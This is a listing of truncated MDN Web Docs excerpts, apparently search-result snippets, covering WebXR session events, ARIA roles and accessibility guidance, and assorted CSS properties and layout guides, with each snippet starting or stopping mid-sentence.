new position in the world and triggers any effects that may arise from doing so (like scheduling an animation of a splash if dropped in water, etc). the selectend event results in a mystoptracking() function being called with the object being dragged and the final target ray pose's transform. xrsession.addeventlistener("selectstart", onselectionevent); xrsession.addeventlistener("select", onselect...
XRSession: squeezeend event - Web APIs
art the presentation of the object-dragging process, using the transform to perform a hit test, determining which object to pick up. mybegintracking() returns an object representing the object the user has begun to drag. upon receiving a squeeze event, the mydropobject() function is called with the target object and the current target ray pose transform as inputs. this places the object into its
new position in the world and triggers any effects that may arise from doing so (like scheduling an animation of a splash if dropped in water, etc). the squeezeend event results in a mystoptracking() function being called with the object being dragged and the final target ray pose's transform. xrsession.addeventlistener("squeezestart", onsqueezeevent); xrsession.addeventlistener("squeeze", onsquee...
XRSession: squeezestart event - Web APIs
art the presentation of the object-dragging process, using the transform to perform a hit test, determining which object to pick up. mybegintracking() returns an object representing the object the user has begun to drag. upon receiving a squeeze event, the mydropobject() function is called with the target object and the current target ray pose transform as inputs. this places the object into its
new position in the world and triggers any effects that may arise from doing so (like scheduling an animation of a splash if dropped in water, etc). the squeezeend event results in a mystoptracking() function being called with the object being dragged and the final target ray pose's transform. xrsession.addeventlistener("squeezestart", onsqueezeevent); xrsession.addeventlistener("squeeze", onsquee...
XRSession: visibilitychange event - Web APIs
bubbles yes cancelable no interface xrsessionevent event handler property onvisibilitychange when the xrsession receives this event, the visibility state has already been changed. ...
XRSessionEvent - Web APIs
the webxr device api's xrsessionevent interface describes an event which indicates the change of the state of an xrsession. these events occur, for example, when the session ends or the visibility of its context changes. constructor xrsessionevent() creates and returns a
new xrsessionevent object configured using the specified xrsessioneventinit object's values as available. properties in addition to properties inherited from its parent interface, event, xrsessionevent provides the folllowing: session read only the xrsession to which the event refers. methods while xrsessionevent defines no methods, it inherits methods from its parent interface, event. session event types the following events are represented using the xrsessionevent interface, and are permitted values for i...
XRSessionEventInit.session - Web APIs
the xrsessioneventinit dictionary's session property specifies the xrsession for which the event describes a state change. syntax let sessioneventinit = { session: xrsession }; mysessionevent =
new xrsessionevent(type, sessioneventinit); mysessionevent =
new xrsessionevent(type, { session: xrsession }); value an xrsession object indicating which webxr session the event is referring to. specifications specification status comment webxr device apithe definition of 'xrsessioneventinit.session' in that specification. working draft initial definition. ...
XRSessionEventInit - Web APIs
you're unlikely to need to create these events yourself, however, as they're created by the xr system. properties session the xrsession to which the event is to be delivered. ...
XRSessionInit - Web APIs
properties the following parameters are all optional. if none are included, the device will use a default feature configuration for all options. optionalfeatures optional an array of values identifying features which the returned xrsession may optionally support. at this time, all features are identified using strings from the xrreferencespacetype enumeration, but future updates to the webxr standard may add more features. ...
XRSessionMode - Web APIs
viewer tracking available. inline sessions don't require special hardware and should be avalable on any user agent offering webxr api support. usage notes the xrsessionmode type indicates the values that can be specified when calling xr.issessionsupported() to determine whether or not the specified session type is supported and available to be used, and by requestsession() to attempt to open a
new webxr session. the immersive-ar mode supports all the same features and reference spaces that immersive-vr does, since both are immersive sessions. browsers may support either or both of these modes, but if webxr is available, the inline mode is always supported. specifications specification status comment webxr device apithe definition of 'xrsessionmode' in that sp...
XRSystem: requestSession() - Web APIs
f an element in a standard html document, rather than occupying the full visual space. inline sessions can be presented in either mono or stereo mode, and may or may not have viewer tracking available. inline sessions don't require special hardware and should be avalable on any user agent offering webxr api support. sessioninit optional a xrsessioninit object providing options to configure the
new xrsession. see specifying session options for details on how to configure a webxr session. return value a promise that resolves with an xrsession object if the device and user agent support the requested mode and features. exceptions this method doesn't throw true exceptions; instead, it rejects the returned promise, passing into it a domexception whose name is one of the following: inval...
XRWebGLLayer.framebuffer - Web APIs
perty is true when creating the layer. the xr compositor assumes that opaque framebuffers use colors with premultiplied allpha, regardless of whether or not the webgl context's premultipliedalpha context attribute is set. note: the depth and stencil properties are not required to be supported in order for a browser to be construed as having full webgl support. the default configuration of a
new framebuffer upon creating a
new xrwebgllayer, its
new framebuffer is initialized just like the default framebuffer for any webgl interface: the color buffer is configured with its clear value set to the color (0, 0, 0, 0) (meaning transparent black). the depth buffer's clear value is the number 1.0. the stencil buffer is filled with 0. examples this example gets the xrwebgllayer for a se...
ARIA Screen Reader Implementors Guide - Accessibility
e.g. assertive items clear any polite items from the queue. time takes second precedence: prioritize items with the same politeness level according to when the event occurs (earlier events come first). present items of the same politeness level in the order of what occurred first. atomic (aria-atomic="true") regions with multiple changes should not be presented twice with the same content. as a
new event for an atomic region is added to the queue remove an earlier event for the same region. it is probably desirable to have at least a tiny timeout before presenting atomic region changes, in order to avoid presenting the region twice for two changes that occur quickly one after the other. include labels when presenting changes: if the change occurs in something with a semantic label of some ...
Using the alert role - Accessibility
this allows the developer to reiterate information that has become more relevant or urgent to the user. for example, a form control may have instruction about the expected value. if a different value is entered, role="alert can be added to the instruction text so that the screen reader announces it as an alert. the pseudo code snippet below illustrates this approach: <p id="forminstruct...
Using the aria-invalid attribute - Accessibility
"true"); updatealert(amsg); } else { elem.setattribute("aria-invalid", "false"); updatealert(); } } the snippet below shows the alert functions, which add (or remove) the error message: function updatealert(msg) { var oldalert = document.getelementbyid("alert"); if (oldalert) { document.body.removechild(oldalert); } if (msg) { var
newalert = document.createelement("div");
newalert.setattribute("role", "alert");
newalert.setattribute("id", "alert"); var content = document.createtextnode(msg);
newalert.appendchild(content); document.body.appendchild(
newalert); } } note that the alert has the aria role attribute set to "alert." working examples: alert role example (uses the aria-inv...
Using the article role - Accessibility
it is independent in that its contents could stand alone, for example in syndication. articles can be nested; for example, a web log entry on a site that accepts user-submitted comments could represent the comments as articles nested within the article for the web log entry. ...
Using the group role - Accessibility
d directly into the html source code. <div role="menu"> <ul role="group"> <li role="menuitem">inbox</li> <li role="menuitem">archive</li> <li role="menuitem">trash</li> </ul> <ul role="group"> <li role="menuitem">custom folder 1</li> <li role="menuitem">custom folder 2</li> <li role="menuitem">custom folder 3</li> </ul> <ul role="group"> <li role="menuitem">
new folder</li> </ul> </div> working examples: file directory treeview example using computed properties navigation treeview example using declared properties notes group members that are outside of the dom subtree of the group need to have explicit relationships assigned to them in order to participate in the group. aria attributes used group related aria techniques ...
Using the log role - Accessibility
description this technique demonstrates how to use the log role and describes the effect it has on browsers and assistive technology. the log role is used to identify an element that creates a live region where
new information is added in a meaningful order and old information may disappear. for example, chat logs, messaging history or an error log. in contrast to other types of live region, this role is sequentially ordered and
new information is only added to the end of the log. when this role is added to an element, the browser will send out an accessible log event to assistive technology products which can then notify the user about it. by default updates contain only the changes to the live region and these are announced when the user is idle. where the user needs to hear the ...
Using the slider role - Accessibility
" aria-labelledby="day-label" aria-valuemin="1" aria-valuemax="7" aria-valuenow="2" aria-valuetext="monday"> </div> </div> the code snippet below shows a function that responds to user input and updates the aria-valuenow and aria-valuetext attributes: var daynames = ["sunday", "monday", "tuesday", "wednesday", "thursday", "friday", "saturday"]; var updateslider = function (
newvalue) { var handle = document.getelementbyid("day-handle"); handle.setattribute("aria-valuenow",
newvalue.tostring()); handle.setattribute("aria-valuetext", daynames[
newvalue]); }; working examples: slider example notes aria attributes used aria-valuemin aria-valuemax aria-valuenow aria-valuetext aria-orientation related aria techniques compatibility tbd: ad...
ARIA: article role - Accessibility
<div role="article"> <h2>heading of the segment</h2> <p>paragraph for the segment.</p> <p>another paragraph.</p> ... controls to interact with the article, share it, etc. ... </div> <div role="article"> ... </div> this example shows two articles side by side on one page that could be structured similarly and are related. ...
ARIA: document role - Accessibility
t" tabindex="0"> <p>some informational text goes here.</p> </div> ... <button>close</button> </div> this example shows a dialog widget with some controls and a section with some informational text that the assistive technology user can read when tabbing to it. description by default, web pages are treated as documents; assistive technologies (at) enter browse or read mode when entering a
new web page. this mode can be altered through various roles, including the widget and application roles. the document role brings the at back into browse or read mode. generally placed within an application role or other interactive widget role, the document role is used to indicate a section of a complex composit widget that an assistive technology user should read using its browse or virtual rea...
ARIA: heading role - Accessibility
of 2 is the default. keyboard interactions this role does not require any special keyboard navigation. as with any heading, giving it an id ensures it can be referenced from anchor links, making it accessible via the keyboard. required javascript features required event handlers none. changing attribute values usually not required, unless dynamically inserting content. in that case, the
newly-added headings need aria-level attributes whose values are consistent with the rest of the document structure. instead of using a <div> or <span> with a heading role and aria-level, consider using a native <h1> through <h6> element instead to indicate that this text is a heading, and what part of the structure it represents. examples the following shows a typical page structure. <div id=...
WAI-ARIA Roles - Accessibility
lar to a desktop application, and no traditional html interpretation techniques should be used. this role should only be used to define very dynamic and desktop-like web applications.aria: article rolethe article role indicates a section of a page that could easily stand on its own on a page, in a document, or on a website. it is usually set on related content items such as comments, forum posts,
newspaper articles or other items grouped together on one page.aria: banner rolea banner role represents general and informative content frequently placed at the beginning of the page. this usually includes a logo, company name, search icon, photo related to the page, or slogan.aria: button rolethe button role should be used for clickable elements that trigger a response when activated by the user. a...
Multipart labels: Using ARIA for labels with embedded fields inside them - Accessibility
that is to be labelled, for example an <input> in both cases, the label for/label control bindings that may also exist are overridden by aria-labelledby. if on an html page you provide aria-labelledby, you should also provide a label for construct to also support older browsers that do not have aria support yet. with firefox 3, your blind users will automatically get better accessibility from the
new attribute, but the users of older browsers are not left in the dark this way. example: shut down computer after minutes <input aria-labelledby="labelshutdown shutdowntime shutdownunit" type="checkbox" /> <span id="labelshutdown">shut down computer after</span> <input aria-labelledby="labelshutdown shutdowntime shutdownunit" id="shutdowntime" type="text" value="10" /> <span id="shutdownunit"> ...
ARIA - Accessibility
n be called at any time to update // the value of the progress bar. function updateprogress(percentcomplete) { progressbar.setattribute("aria-valuenow", percentcomplete); } note that aria was invented after html4, so does not validate in html4 or its xhtml variants. however, the accessibility gains it provides far outweigh any technical invalidity. in html5, all aria attributes validate. the
new landmark elements (<main>, <header>, <nav> etc) have built-in aria roles, so there is no need to duplicate them. support like any other web technology, there are varying degrees of support for aria. support is based on the operating system and browser being used, as well as the kind of assistive technology interfacing with it. in addition, the version of the operating system, browser, and assi...
Accessibility and Spacial Patterns - Accessibility
user of braille does not simply lay a finger on "top" of a braille character, the user has to move her finger over the character, in the way that a sighted person must move her eyes across text written on a page. the nature of space can change depending upon what mime type is being used, and its version. for example, borders on svg can extend both inward and outward from its dimensions, or for
newer versions of svg, entirely outward from it, thus reducing the space around the svg to enable perception. see also mdn accessibiltity: what users can do to browse more safely web accessibiltity for seizures and physical reactions web accessibility: understanding colors and luminance braille part 3: a step-by-step guide to typesetting ada braille correctly in adobe illustrator sp...
An overview of accessible web applications and widgets - Accessibility
tom classname. example 2c. javascript to update the aria-checked attribute var showtip = function(el) { el.setattribute('aria-hidden', 'false'); } role changes aria allows developers to declare a semantic role for an element that otherwise offers incorrect or no semantics. the role of an element should not change. instead, remove the original element and replace it with an element with the
new role. for example, consider an "inline edit" widget: a component that allows users to edit a piece of text in place, without switching contexts. this component has a "view" mode, in which the text is not editable, but is activatable, and an "edit" mode, in which the text can be edited. a developer might be tempted to implement the "view" mode using a read-only text <input> element and setting i...
Keyboard-navigable JavaScript widgets - Accessibility
the tabindex to "0" requires also updating the previously selected item to tabindex="-1". this technique involves programmatically moving focus in response to key events and updating the tabindex to reflect the currently focused item. to do this: bind a key down handler to each element in the group, and when an arrow key is used to move to another element: programmatically apply focus to the
new element, update the tabindex of the focused element to "0", and update the tabindex of the previously focused element to "-1". here's an example of a wai-aria tree view using this technique. tips use element.focus() to set focus do not use createevent(), initevent() and dispatchevent() to send focus to an element. dom focus events are considered informational only: generated by the system ...
Web accessibility for seizures and physical reactions - Accessibility
ails of how a user accesses the controls. prefers-reduced-motion support for prefers-reduced-motion in modern browsers is growing. @media screen and (prefers-reduced-motion: reduce) { } @media screen and (prefers-reduced-motion) { } to see a great example of how to use the code prefers-reduced-motion, visit the mdn document, prefers-reduced-motion, or see the example below from the section on
new in chrome 74. button { animation: vibrate 0.3s linear infinite both; } @media (prefers-reduced-motion: reduce) { button { animation: none; } } prefers-color-scheme this can be useful if the ambient light api is not available. support is emerging. @media (prefers-color-scheme: dark) { /* adust styles for dark mode */ } window.matchmedia() there is a powerful tool availa...
Robust - Accessibility
ll need to use wai-aria roles and other features to make sure your controls will be interpreted and are able to be used as intended, e.g. not only by sighted mouse users, but also by screenreader users, keyboard-only users, etc. see html: a good basis for accessibility and wai-aria basics. 4.1.3 status messages (aa) added in 2.1 assistive technology users are made aware of
new status messages added to the page. understanding status messages note: also see the wcag description for guideline 4.1: compatible: maximize compatibility with current and future user agents, including assistive technologies. see also wcag perceivable operable understandable robust ...
Text labels and names - Accessibility
form element and the label is obvious from the structure. or, you can create an association between a <label> and a form element by specifying the form element's id value as the value of the label's for attribute. example <label>i agree to the terms and conditions. <input type="checkbox" id="terms"> </label> <input type="checkbox" id="emailoptin"> <label for="emailoptin">yes, please send me
news about this product.</label> form elements should have a visible text label in addition to having a <label> for every form element, those labels should be visible, not hidden. visible labels help all users understand the purpose of a form element. do not rely on placeholder text, because it disappears as soon as the user starts typing. frame elements must be labeled frame elements, both <ifr...
Understandable - Accessibility
xit the current view, the user should be asked to confirm this action, save their work if appropriate, etc. globaleventhandlers.oninput is useful here. 3.2.3 consistent navigation (aa) navigation menu/control style and positioning should be consistent between different pages or views of a web page, and the existing items should appear in the same order, even if for example
new iteam are added. if the user has initiated a change, e.g. choosing a different color scheme or position for the navigation, their choice should be respected across all pages. again, sensible design — make the navigation controls the same across all pages or views. see page layouts for information on modern markup for layouts. see also styling links as buttons for a useful accessible...
Understanding the Web Content Accessibility Guidelines - Accessibility
wners. target wcag 2.0 first when allocating resources. then step up to wcag 2.1. what is wcag 2.1? wcag 2.1 was published as an official recommendation on 05 june 2018. the european union (eu) adopted wcag 2.1 as the digital accessibility standard in september 2018. w3c published a press release wcag 2.1 adoption in europe. ...
-webkit-overflow-scrolling - CSS: Cascading Style Sheets
scrolling, where the content immediately ceases to scroll when you remove your finger from the touchscreen. touch use momentum-based scrolling, where the content continues to scroll for a while after finishing the scroll gesture and removing your finger from the touchscreen. the speed and duration of the continued scrolling is proportional to how vigorous the scroll gesture was. also creates a
new stacking context. formal definition initial valueautoapplies toscrolling boxesinheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | touch examples html <div class="scroll-touch"> <p> this paragraph has momentum scrolling </p> </div> <div class="scroll-auto"> <p> this paragraph does not. </p> </div> css div { width: 100%; overflow: auto; } ...
@font-face - CSS: Cascading Style Sheets
recommendation font format specification css fonts module level 3the definition of '@font-face' in that specification. candidate recommendation initial definition ...
display-mode - CSS: Cascading Style Sheets
exclude ui elements for controlling navigation, but can include other ui elements such as a status bar. minimal-ui minimal-ui the application will look and feel like a standalone application, but will have a minimal set of ui elements for controlling navigation. the elements will vary by browser. browser browser the application opens in a conventional browser tab or
new window, depending on the browser and platform. (none) examples @media all and (display-mode: fullscreen) { body { margin: 0; border: 5px solid black; } } specifications specification status comment web app manifestthe definition of 'display-mode' in that specification. working draft initial definition. ...
Handling Overflow in Multicol - CSS: Cascading Style Sheets
box, the standard responsive images solution of setting max-width: 100% will achieve that for you. more columns than will fit how overflowing columns are handled depends on whether you are in a fragmented media context, such as print, or a continuous media context, such as a web page. in fragmented media, once a fragment (for example a page) is filled with columns, the columns will move to a
new page and fill that up with columns. in continuous media, columns will overflow in the inline direction. on the web this means that you will get a horizontal scrollbar. the example below shows this overflow behaviour. my multicol container has a height and there is more text than space to create columns, therefore we get columns created outside of the container. in a future version of the spec...
Handling content breaks in multicol - CSS: Cascading Style Sheets
in multicol. fragmentation basics the css fragmentation specification details how content breaks between the fragmentation containers, or fragmentainers. in multicol, the fragmentainer is the column box. a column box can contain other markup and there are many places where a break would not be ideal. for example, we would generally prefer that the figcaption of an image not be separated into a
new column away from the image it refers to and ending a column with a heading looks strange. the fragmentation properties give us ways to exercise some control over this. there are various places we might want to control our breaks: breaks inside boxes, for example inside a figure element. breaks before and after boxes, which would include our heading example above. breaks between lines. bre...
Spanning and Balancing Columns - CSS: Cascading Style Sheets
ading nested inside a section nested inside the multicol container. in the example below, the h2 element is set to column-span: all and spans all of the columns. in this second example, the heading is inside an <article> element, yet still spans the content as expected. when a spanner is introduced, it breaks the flow of columns and columns restart after the spanner, effectively creating a
new set of column boxes. the content does not jump over a spanning element. limitations of column-span in the current level 1 specification there are only two allowable values for column-span. the value none is the initial value and means the item does not span, remaining within a column. the value all means the item spans all of the columns. you cannot cause an item to span two out of three column...
Cross-browser Flexbox mixins - CSS: Cascading Style Sheets
values: nowrap (default) | wrap | wrap-reverse spec: https://drafts.csswg.org/css-flexbox/#flex-wrap-property @mixin flex-wrap($value: nowrap) { // no webkit/ff box fallback. -webkit-flex-wrap: $value; @if $value == nowrap { -ms-flex-wrap: none; } @else { -ms-flex-wrap: $value; } flex-wrap: $value; } flexbox flow (shorthand) the flex-flow proper...
In Flow and Out of Flow - CSS: Cascading Style Sheets
e layout - the container has an outside display type of block. all of the elements can be said to be in flow. appearing on the page in the order that they are in the source. taking an item out of flow all elements are in-flow apart from: floated items items with position: absolute (including position: fixed which acts in the same way) the root element (html) out of flow items create a
new block formatting context (bfc) and therefore everything inside them can be seen as a mini layout, separate from the rest of the page. the root element therefore is out of flow, as the container for everything in our document, and establishes the block formatting context for the document. floated items in this example i have a div, and then two paragraphs. i’ve added a background colour to the...
Grid template areas - CSS: Cascading Style Sheets
; } we will revisit the other functionality offered by this shorthand later in these guides when we take a look at auto placement and the grid-auto-flow property. if you have worked through these initial guides you now should be in a position to create grid layouts using line-based placement or named areas. take some time to build some common layout patterns using grid, while there are lots of
new terms to learn, the syntax is relatively straightforward. as you develop examples, you are likely to come up with some questions and use cases for things we haven't covered yet. in the rest of these guides we will be looking at some more of the detail included in the specification – in order that you can begin to create advanced layouts with it. ...
Subgrid - CSS: Cascading Style Sheets
normal flow. you can "nest" grids by making a grid item a grid container. these grids however are independent of the parent grid and of each other, meaning that they do not take their track sizing from the parent grid. this makes it difficult to line nested grid items up with the main grid. if you set the value subgrid on grid-template-columns, grid-template-rows or both, instead of creating a
new track listing the nested grid uses the tracks defined on the parent. for example, if you use grid-template-columns: subgrid and the nested grid spans three column tracks of the parent, the nested grid will have three column tracks of the same size as the parent grid. gaps are inherited but can also be overridden with a different gap value. line names can be passed from the parent into the subgri...
CSS Grid Layout - CSS: Cascading Style Sheets
like tables, grid layout enables an author to align elements into columns and rows. however, many more layouts are either possible or easier with css grid than they were with tables. for example, a grid container's child elements could position themselves so they actually overlap and layer, similar to css positioned elements. basic example the example below shows a three-column track grid with
new rows created at a minimum of 100 pixels and a maximum of auto. items have been placed onto the grid using line-based placement. * {box-sizing: border-box;} .wrapper { max-width: 940px; margin: 0 auto; } .wrapper > div { border: 2px solid rgb(233,171,88); border-radius: 5px; background-color: rgba(233,171,88,.5); padding: 1em; color: #d9480f; } html <div class="wrapper"> <div...
Using CSS counters - CSS: Cascading Style Sheets
r(section) ": "; /* display the word 'section ', the value of section counter, and a colon before the content of each h3 */ } html <h3>introduction</h3> <h3>body</h3> <h3>conclusion</h3> result nesting counters a css counter can be especially useful for making outlined lists, because a
new instance of the counter is automatically created in child elements. using the counters() function, separating text can be inserted between different levels of nested counters. example of a nested counter css ol { counter-reset: section; /* creates a
new instance of the section counter with each ol ...
Basic concepts of Logical Properties and Values - CSS: Cascading Style Sheets
ent properties change the layout. when working with a site in a writing mode other than a horizontal, top to bottom one, or when using writing modes for creative reasons, being able to relate to the flow of the content makes a lot of sense. block and inline dimensions a key concept of working with flow relative properties and values is the two dimensions of block and inline. as we saw above,
newer css layout methods such as flexbox and grid layout use the concepts of block and inline rather than right and left/top and bottom when aligning items. the inline dimension is the dimension along which a line of text runs in the writing mode in use. therefore, in an english document with the text running horizontally left to right, or an arabic document with the text running horizontally right ...
Stacking with floated blocks - CSS: Cascading Style Sheets
non-positioned inline elements descendant positioned elements, in order of appearance in the html note: if an opacity value is applied to the non-positioned block (div #4), then something strange happens: the background and border of that block pops up above the floating blocks and the positioned blocks. this is due to a peculiar part of the specification: applying a opacity value creates a
new stacking context (see what no one told you about z-index). source code for the example html <div id="abs1"> <b>div #1</b><br />position: absolute;</div> <div id="flo1"> <b>div #2</b><br />float: left;</div> <div id="flo2"> <b>div #3</b><br />float: right;</div> <br /> <div id="sta1"> <b>div #4</b><br />no positioning</div> <div id="abs2"> <b>div #5</b><br />position: absolute;<...
Using the :target pseudo-class in selectors - CSS: Cascading Style Sheets
ements if the intent is to create a "blanket" style that will apply to all targeted elements, then the universal selector comes in handy: :target { color: red; } example in the following example, there are five links that point to elements in the same document. selecting the "first" link, for example, will cause <h1 id="one"> to become the target element. note that the document may jump to a
new scroll position, since target elements are placed on the top of the browser window if possible. <h4 id="one">...</h4> <p id="two">...</p> <div id="three">...</div> <a id="four">...</a> <em id="five">...</em> <a href="#one">first</a> <a href="#two">second</a> <a href="#three">third</a> <a href="#four">fourth</a> <a href="#five">fifth</a> conclusion in cases where a fragment identifier points...
Descendant combinator - CSS: Cascading Style Sheets
parent, etc) element matching the first selector. selectors that utilize a descendant combinator are called descendant selectors. /* list items that are descendants of the "my-things" list */ ul.my-things li { margin: 2em; } the descendant combinator is technically one or more css white space characters — the space character and/or one of four control characters: carriage return, form feed,
new line, and tab characters — between two selectors in the absence of another combinator. additionally, the white space characters of which the combinator is comprised may contain any number of css comments. syntax selector1 selector2 { /* property declarations */ } examples css li { list-style-type: disc; } li li { list-style-type: circle; } html <ul> <li> <div>item 1</div> ...
Cookbook template - CSS: Cascading Style Sheets
comment in italics are information about how to use part of the template. description of the problem this recipe solves or the pattern you are demonstrating. requirements what does this pattern need to include, or what problems does it need to solve? list that here. recipe change the path to the example below to point to your merged example. the last parameter is the live example height, which you can change as needed. change the link to point to your merged download version. ...
CSS Layout cookbook - CSS: Cascading Style Sheets
the css layout cookbook aims to bring together recipes for common layout patterns, things you might need to implement in your own sites. in addition to providing code you can use as a starting point in your projects, these recipes highlight the different ways layout specifications can be used, and the choices you can make as a developer. note: if you are
new to css layout then you might first like to take a look at our css layout learning module, as this will give you the basic grounding you need to make use of the recipes here. the recipes recipe description layout methods media objects a two-column box with an image on one side and descriptive text on the other, e.g. a facebook post or tweet. css grid, float fallback, fit-content() sizing col...
Layout mode - CSS: Cascading Style Sheets
which lays out inline items such as text. table layout, designed for laying out tables. float layout, designed to cause an item to position itself left or right with the rest of the content in normal flow wrapping around it. positioned layout, designed for positioning elements without much interaction with other elements. multi-column layout, designed for laying content out in columns as in a
newspaper. flexible box layout, designed for laying out complex pages that can be resized smoothly. grid layout, designed for laying out elements relative to a fixed grid. note: not all css properties apply to all layout modes. most of them apply to one or two of them and have no effect if they are set on an element participating in another layout mode. ...
Testing media queries programmatically - CSS: Cascading Style Sheets
ange() function would look at the result of the query and handle whatever we need to do on an orientation change: function handleorientationchange(evt) { if (evt.matches) { /* the viewport is currently in portrait orientation */ } else { /* the viewport is currently in landscape orientation */ } } above, we define the parameter as evt — an event object. this makes sense because
newer implementations of mediaquerylist handle event listeners in a standard way. they no longer use the unusual mediaquerylistlistener mechanism, but a standard event listener setup, passing an event object of type mediaquerylistevent as the argument to the callback function. this event object also includes the media and matches properties, so you can query these features of the mediaquerylist by d...
Using CSS custom properties (variables) - CSS: Cascading Style Sheets
egard to custom properties. when the values of the custom properties are parsed, the browser doesn't know where they will be used, so must, therefore, consider nearly all values as valid. unfortunately, these valid values can be used, via the var() functional notation, in a context where they might not make sense. properties and custom variables can lead to invalid css statements, leading to the
new concept of valid at computed time. what happens with invalid variables? when the browser encounters an invalid var() substitution, the initial or inherited value of the property is used. consider the code snippet below. html <p>this paragraph is initial black.</p> css :root { --text-color: 16px; } p { color: blue; } p { color: var(--text-color); } as expected, the browser substitutes th...
Viewport concepts - CSS: Cascading Style Sheets
he outerheight includes the browser chrome: measurements were taken on a browser with an address bar and bookmarks bar totalling 100px in height, but no chrome on the left or right of the window. the area within the innerheight and innerwidth is generally considered the layout viewport. the browser chrome is not considered part of the viewport. when zoomed in, both firefox and chrome report the
new css pixel size for innerwidth and clientwidth. the values returned for the outerwidth and outerheight depend on the browser: firefox reports the
new value in css pixels, but chrome returns the length in the default pixel size. when zoomed in you may get: document.documentelement.clientwidth /* 800 */ window.innerwidth /* 800 */ window.outerwidth /* 800 in firefox, 1200 in chrome */ document.do...
appearance (-moz-appearance, -webkit-appearance) - CSS: Cascading Style Sheets
f internal stylesheets. compatibility note: if you wish to use this property on websites, you should test it very carefully. although it is supported in most modern browsers, its implementation varies widely. in older browsers, even the keyword none does not have the same effect on all form elements across different browsers, and some do not support it at all. the differences are smaller in the
newest browsers. syntax /* css basic user interface module level 4 values */ appearance: none; appearance: auto; appearance: menulist-button; appearance: textfield; /* "compat-auto" values, which have the same effect as 'auto' */ appearance: button; appearance: searchfield; appearance: textarea; appearance: push-button; appearance: slider-horizontal; appearance: checkbox; appearance: radio; appea...
background - CSS: Cascading Style Sheets
anner { background: url("https://mdn.mozillademos.org/files/11983/starsolid.gif") #99f repeat-y fixed; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'background' in that specification. candidate recommendation the shorthand property has been extended to support multiple backgrounds and the
new background-size, background-origin and background-clip properties. css level 2 (revision 1)the definition of 'background' in that specification. recommendation no significant changes css level 1the definition of 'background' in that specification. recommendation initial definition ...
<blend-mode> - CSS: Cascading Style Sheets
changes between blend modes are not interpolated. any change occurs immediately. examples blend mode comparison in the following example, we have a <div> with two background images set on it — a firefox logo on top of a linear gradient. below it we have a provided a <select> menu that allows you to change the background-blend-mode applied to the <div>, allowing you to compare t...
border-image-slice - CSS: Cascading Style Sheets
li { display: flex; place-content: center; } javascript const widthslider = document.getelementbyid('width'); const sliceslider = document.getelementbyid('slice'); const widthoutput = document.getelementbyid('width-output'); const sliceoutput = document.getelementbyid('slice-output'); const divelem = document.queryselector('div > div'); widthslider.addeventlistener('input', () => { const
newvalue = widthslider.value + 'px'; divelem.style.borderwidth =
newvalue; widthoutput.textcontent =
newvalue; }) sliceslider.addeventlistener('input', () => { const
newvalue = sliceslider.value; divelem.style.borderimageslice =
newvalue; sliceoutput.textcontent =
newvalue; }) result specifications specification status comment css backgrounds and borders mo...
box-flex-group - CSS: Cascading Style Sheets
see flexbox for information about the current standard. the box-flex-group css property assigns the flexbox's child elements to a flex group. /* <integer> values */ box-flex-group: 1; box-flex-group: 5; /* global values */ box-flex-group: inherit; box-flex-group: initial; box-flex-group: unset; for flexible elements assigned to flex groups, the first flex group is 1 and higher values specify subsequent flex groups. the initial value is 1. when dividing up the box's extra space, the browser first considers all elements within the first flex group. ...
box-ordinal-group - CSS: Cascading Style Sheets
see flexbox for information about the current standard. the box-ordinal-group css property assigns the flexbox's child elements to an ordinal group. /* <integer> values */ box-ordinal-group: 1; box-ordinal-group: 5; /* global values */ box-ordinal-group: inherit; box-ordinal-group: initial; box-ordinal-group: unset; ordinal groups may be used in conjunction with the box-direction property to control the order in which the direct children of a box appear. ...
box-orient - CSS: Cascading Style Sheets
see flexbox for information about the current standard. the box-orient css property sets whether an element lays out its contents horizontally or vertically. /* keyword values */ box-orient: horizontal; box-orient: vertical; box-orient: inline-axis; box-orient: block-axis; /* global values */ box-orient: inherit; box-orient: initial; box-orient: unset; syntax the box-orient property is specified as one of the keyword values listed below. values horizontal the box lays out its contents horizontally. vertical the box lays out its contents vertically. ...
box-pack - CSS: Cascading Style Sheets
see flexbox for information about the current standard. the -moz-box-pack and -webkit-box-pack css properties specify how a -moz-box or -webkit-box packs its contents in the direction of its layout. the effect of this is only visible if there is extra space in the box. /* keyword values */ box-pack: start; box-pack: center; box-pack: end; box-pack: justify; /* global values */ box-pack: inherit; box-pack: initial; box-pack: unset; the direction of layout depends on the element's orientation: horizontal or vertical. ...
clip - CSS: Cascading Style Sheets
rtion of an element. the clip property applies only to absolutely positioned elements — that is, elements with position:absolute or position:fixed. /* keyword value */ clip: auto; /* <shape> values */ clip: rect(1px 10em 3rem 2ch); clip: rect(1px, 10em, 3rem, 2ch); /* global values */ clip: inherit; clip: initial; clip: unset; syntax note: where possible, authors are encouraged to use the
newer clip-path property instead. values <<shape>()> a rectangular <<shape>()> of the form rect(<top> <right> <bottom> <left>). the <top> and <bottom> values are offsets from the inside top border edge of the box, while <right> and <left> are offsets from the inside left border edge of the box — that is, the extent of the padding box. the <top>, <right>, <bottom>, and <left> values may be e...
column-span - CSS: Cascading Style Sheets
than one column is called a spanning element. syntax the column-span property is specified as one of the keyword values listed below. values none the element does not span multiple columns. all the element spans across all columns. content in the normal flow that appears before the element is automatically balanced across all columns before the element appears. the element establishes a
new block formatting context. formal definition initial valuenoneapplies toin-flow block-level elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | all examples making a heading span columns in this example, the heading is made to span across all the columns of the article. html <article> <h2>header spanning all of the columns</h2> <p> the h2 sho...
<custom-ident> - CSS: Cascading Style Sheets
dent> for list-style-type' in that specification. candidate recommendation uses <custom-ident> instead of a finite list of keywords. defines which values are excluded for list-style-type and @counter-style. css lists module level 3the definition of '<custom-ident> for counter-*' in that specification. working draft renames <identifier> to <custom-ident>. adds its usage to the
new counter-set property. css animationsthe definition of '<custom-ident> for animation-name' in that specification. working draft defines which values are excluded for animation-name. css values and units module level 3the definition of '<custom-ident>' in that specification. candidate recommendation renames <identifier> to <custom-ident>. makes it a pseudo-type and for...
<display-legacy> - CSS: Cascading Style Sheets
haves like an inline element and lays out its content according to the grid model. it is equivalent to inline grid. examples in the below example, we are creating an inline flex container with the legacy keyword inline-flex. html <div class="container"> <div>flex item</div> <div>flex item</div> </div> not a flex item css .container { display: inline-flex; } result in the
new syntax the inline flex container would be created using two values, inline for the outer display type, and flex for the inner display type. .container { display: inline flex; } specifications specification status css display module level 3the definition of 'display-legacy' in that specification. candidate recommendation ...
<display-outside> - CSS: Cascading Style Sheets
